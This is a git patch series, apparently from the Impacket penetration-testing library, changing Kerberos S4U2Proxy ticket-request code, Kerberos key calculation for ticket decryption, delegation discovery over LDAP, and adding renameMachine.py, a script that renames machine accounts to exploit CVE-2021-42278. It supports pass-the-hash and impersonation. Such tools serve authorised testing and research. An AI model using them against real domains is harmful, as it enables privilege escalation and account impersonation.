apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encodedAuthenticator = encoder.encode(authenticator) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - encodedApReq = encoder.encode(apReq) + encodedApReq = encoder.encode(apReq) - tgsReq = TGS_REQ() + tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - reqBody = seq_set(tgsReq, 'req-body') + reqBody = seq_set(tgsReq, 'req-body') - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - cipherText = tgs['enc-part']['cipher'] + cipherText = tgs['enc-part']['cipher'] - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey + return r, cipher, sessionKey, newSessionKey def run(self): @@ -697,7 +684,7 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' + parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' @@ -706,7 +693,6 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' @@ -733,9 +719,6 @@ def run(self): options = parser.parse_args() - if not options.no_s4u2proxy and options.spn is None: - parser.error("argument -spn is required, except when -self is set") - # Init the example's logger theme logger.init(options.ts) From 428e56ee68a41d2fc13702c439c50fe51e380e6d Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 1 Nov 2021 16:18:24 +0100 Subject: [PATCH 018/152] Debugging some keys calculation --- examples/describeTicket.py | 28 ++++++++++++++++------------ 1 file changed, 16 insertions(+), 12 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 18e627fdce..0541d85bf3 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -399,29 +399,32 @@ def generate_kerberos_keys(args): ] # Calculate Kerberos keys from specified password/salt - if args.password or args.hexpass: + if args.password or args.hex_pass: if not args.salt and args.user and args.domain: # https://www.thehacker.recipes/ad/movement/kerberos if args.user.endswith('$'): args.salt = "%shost%s.%s" % (args.domain.upper(), args.user.rstrip('$').lower(), args.domain.lower()) else: args.salt = "%s%s" % (args.domain.upper(), args.user) for cipher in allciphers: - if cipher == 23 and args.hexpass: + if cipher == 23 and args.hex_pass: # RC4 calculation is done manually for raw passwords md4 = MD4.new() - md4.update(unhexlify(args.krbhexpass)) - ekeys[cipher] = Key(cipher, md4.digest().decode('utf-8')) - else: + md4.update(unhexlify(args.hex_pass)) + ekeys[cipher] = Key(cipher, md4.digest()) + logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + elif args.salt: # Do conversion magic for raw passwords - if args.hexpass: - rawsecret = unhexlify(args.krbhexpass).decode('utf-16-le', 'replace').encode('utf-8', 'replace') + if args.hex_pass: + rawsecret = unhexlify(args.hex_pass).decode('utf-16-le', 'replace').encode('utf-8', 'replace') else: # If not raw, it was specified from the command line, assume it's not UTF-16 rawsecret = args.password ekeys[cipher] = string_to_key(cipher, rawsecret, args.salt) - logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + else: + logging.debug('Cannot calculate type %s (%d) Kerberos key: salt is None: Missing -s/--salt or (-u/--user and -d/--domain)' % (constants.EncryptionTypes(cipher).name, cipher)) else: - logging.debug('No password (-p/--password or -hp/--hexpass supplied, skipping Kerberos keys calculation') + logging.debug('No password (-p/--password or -hp/--hex_pass supplied, skipping Kerberos keys calculation') return ekeys @@ -481,7 +484,7 @@ def parse_args(): '(example: if the ticket is for user:"john" for service:"cifs/service.domain.local", you need to supply credentials or keys ' \ 'of the service account who owns SPN "cifs/service.domain.local")' ticket_decryption.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') - ticket_decryption.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="HEX PASSWORD", help='placeholder') + ticket_decryption.add_argument('-hp', '--hex-password', dest='hex_pass', action="store", metavar="HEXPASSWORD", help='Hex password of the service account') ticket_decryption.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') ticket_decryption.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') ticket_decryption.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') @@ -505,10 +508,11 @@ def parse_args(): if not args.salt: if args.user and not args.domain: parser.error('without -s/--salt, and with -u/--user, argument -d/--domain is required to calculate the salt') - parser.print_help() elif not args.user and args.domain: parser.error('without -s/--salt, and with -d/--domain, argument -u/--user is required to calculate the salt') - parser.print_help() + + if args.domain and not '.' in args.domain: + parser.error('Domain supplied in -d/--domain should be FQDN') return args From b4fbcf9196e9b6098edae0ae7794005d2e138ccd Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 10 Dec 2021 22:23:33 +0100 Subject: [PATCH 019/152] Added renameMachine.py --- examples/renameMachine.py | 363 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 363 insertions(+) create mode 100755 examples/renameMachine.py diff --git a/examples/renameMachine.py b/examples/renameMachine.py new file mode 100755 index 0000000000..dd6f0dc8a2 --- /dev/null +++ b/examples/renameMachine.py @@ -0,0 +1,363 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278) +# +# Authors: +# @snovvcrash +# Charlie Bromberg (@_nwodtuhs) +# + +import argparse +import logging +import sys +import traceback +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +import os + +from impacket import version +from impacket.examples import logger, utils +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars + + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + if useCache: + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except Exception as e: + # No cache present + print(e) + pass + else: + # retrieve domain information from CCache file if needed + if domain == '': + domain = ccache.principal.realm['data'].decode('utf-8') + logging.debug('Domain retrieved from CCache: %s' % domain) + + logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) + principal = 'ldap/%s@%s' % (target.upper(), domain.upper()) + + creds = ccache.getCredential(principal) + if creds is None: + # Let's try for the TGT and go from there + principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug('Using TGT from cache') + else: + logging.debug('No valid credentials found in cache') + else: + TGS = creds.toTGS(principal) + logging.debug('Using TGS from cache') + + # retrieve user information from CCache file if needed + if user == '' and creds is not None: + user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') + logging.debug('Username retrieved from CCache: %s' % user) + elif user == '' and len(ccache.principal.components) > 0: + user = ccache.principal.components[0]['data'].decode('utf-8') + logging.debug('Username retrieved from CCache: %s' % user) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278)') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument("-current-name", type=str, required=True, help="sAMAccountName of the object to edit") + parser.add_argument("-new-name", type=str, required=True, help="New sAMAccountName to set for the target object") + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If ' + 'omitted it will use the domain part (FQDN) specified in ' + 'the identity parameter') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def get_user_info(samname, ldap_session, domain_dumper): + ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) + try: + dn = ldap_session.entries[0].entry_dn + return dn + except IndexError: + logging.error('Machine not found in LDAP: %s' % samname) + return False + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf) + operation = ldap3.MODIFY_REPLACE + attribute = 'sAMAccountName' + dn = get_user_info(args.current_name, ldap_session, domain_dumper) + + if not dn: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + try: + logging.info('Modifying attribute (%s) of object (%s): (%s) -> (%s)' % (attribute, dn, args.current_name, args.new_name)) + if "CN=Computers" in dn and attribute == 'sAMAccountName' and not args.new_name.endswith('$'): + logging.info('New sAMAccountName does not end with \'$\' (attempting CVE-2021-42278)') + ldap_session.modify(dn, {attribute: [operation, [args.new_name]]}) + if ldap_session.result['result'] == 0: + logging.info('Target object modified successfully!') + else: + logging.error('Target object could not be modified...') + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + +if __name__ == '__main__': + main() \ No newline at end of file From 9d0158ba13c356a61fda20c4cedd736464827c96 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 13 Dec 2021 13:38:43 +0100 Subject: [PATCH 020/152] Improved error handling and expected behavior for patched envs --- examples/renameMachine.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/examples/renameMachine.py b/examples/renameMachine.py index dd6f0dc8a2..22f9e431c3 100755 --- a/examples/renameMachine.py +++ b/examples/renameMachine.py @@ -347,13 +347,25 @@ def main(): return try: logging.info('Modifying attribute (%s) of object (%s): (%s) -> (%s)' % (attribute, dn, args.current_name, args.new_name)) + cve_attempt = False if "CN=Computers" in dn and attribute == 'sAMAccountName' and not args.new_name.endswith('$'): + cve_attempt = True logging.info('New sAMAccountName does not end with \'$\' (attempting CVE-2021-42278)') ldap_session.modify(dn, {attribute: [operation, [args.new_name]]}) if ldap_session.result['result'] == 0: logging.info('Target object modified successfully!') else: - logging.error('Target object could not be modified...') + error_code = int(ldap_session.result['message'].split(':')[0].strip(), 16) + if error_code == 0x523 and cve_attempt: + # https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e + logging.error('Server probably patched against CVE-2021-42278') + logging.debug('The server returned an error: %s', ldap_session.result['message']) + if ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', ldap_session.result['message']) + elif ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', ldap_session.result['message']) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() From 4206def034dc190bf53c78b1e5b2f7fe2d6bf4f4 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Thu, 16 Dec 2021 00:12:44 +0100 Subject: [PATCH 021/152] Fixed small if elif order for debug messages --- examples/renameMachine.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/renameMachine.py b/examples/renameMachine.py index 22f9e431c3..56f80ffc6e 100755 --- a/examples/renameMachine.py +++ b/examples/renameMachine.py @@ -357,10 +357,10 @@ def main(): else: error_code = int(ldap_session.result['message'].split(':')[0].strip(), 16) if error_code == 0x523 and cve_attempt: + logging.debug('The server returned an error: %s', ldap_session.result['message']) # https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e logging.error('Server probably patched against CVE-2021-42278') - logging.debug('The server returned an error: %s', ldap_session.result['message']) - if ldap_session.result['result'] == 50: + elif ldap_session.result['result'] == 50: logging.error('Could not modify object, the server reports insufficient rights: %s', ldap_session.result['message']) elif ldap_session.result['result'] == 19: logging.error('Could not modify object, the server reports a constrained violation: %s', ldap_session.result['message']) @@ -372,4 +372,4 @@ def main(): logging.error(str(e)) if __name__ == '__main__': - main() \ No newline at end of file + main() From de5906d8b63c1b0c245a26e0868814f653bb5b6c Mon Sep 17 00:00:00 2001 From: Geiseric <73939366+GeisericII@users.noreply.github.com> Date: Wed, 26 Jan 2022 11:54:12 +0100 Subject: [PATCH 022/152] Modified searchFilter to show RBCD over DCs Removing searchfilter for DCs to allow RBCD and Unconstrained to be shown --- examples/findDelegation.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/findDelegation.py b/examples/findDelegation.py index bd6be60be7..005d80405d 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -133,7 +133,7 @@ def run(self): searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192))" + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" if self.__requestUser is not None: searchFilter += '(sAMAccountName:=%s))' % self.__requestUser From 8d738ad72aceb52e37f8862502f19b8138ed6a8e Mon Sep 17 00:00:00 2001 From: Geiseric <73939366+GeisericII@users.noreply.github.com> Date: Wed, 26 Jan 2022 13:30:58 +0100 Subject: [PATCH 023/152] Added possibility to query delegs for disabled users --- examples/findDelegation.py | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/examples/findDelegation.py b/examples/findDelegation.py index 005d80405d..55211035a6 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -58,12 +58,12 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__password = password self.__domain = user_domain self.__targetDomain = target_domain - self.__requestUser = cmdLineOptions.user self.__lmhash = '' self.__nthash = '' self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k self.__kdcHost = cmdLineOptions.dc_ip + self.__disabled = cmdLineOptions.disabled if cmdLineOptions.hashes is not None: self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') @@ -133,12 +133,7 @@ def run(self): searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" - - if self.__requestUser is not None: - searchFilter += '(sAMAccountName:=%s))' % self.__requestUser - else: - searchFilter += ')' + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" try: resp = ldapConnection.search(searchFilter=searchFilter, @@ -158,7 +153,7 @@ def run(self): answers = [] logging.debug('Total of records returned %d' % len(resp)) - + for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue @@ -188,7 +183,7 @@ def run(self): objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0] elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': if protocolTransition == 0: - delegation = 'Constrained w/o Protocol 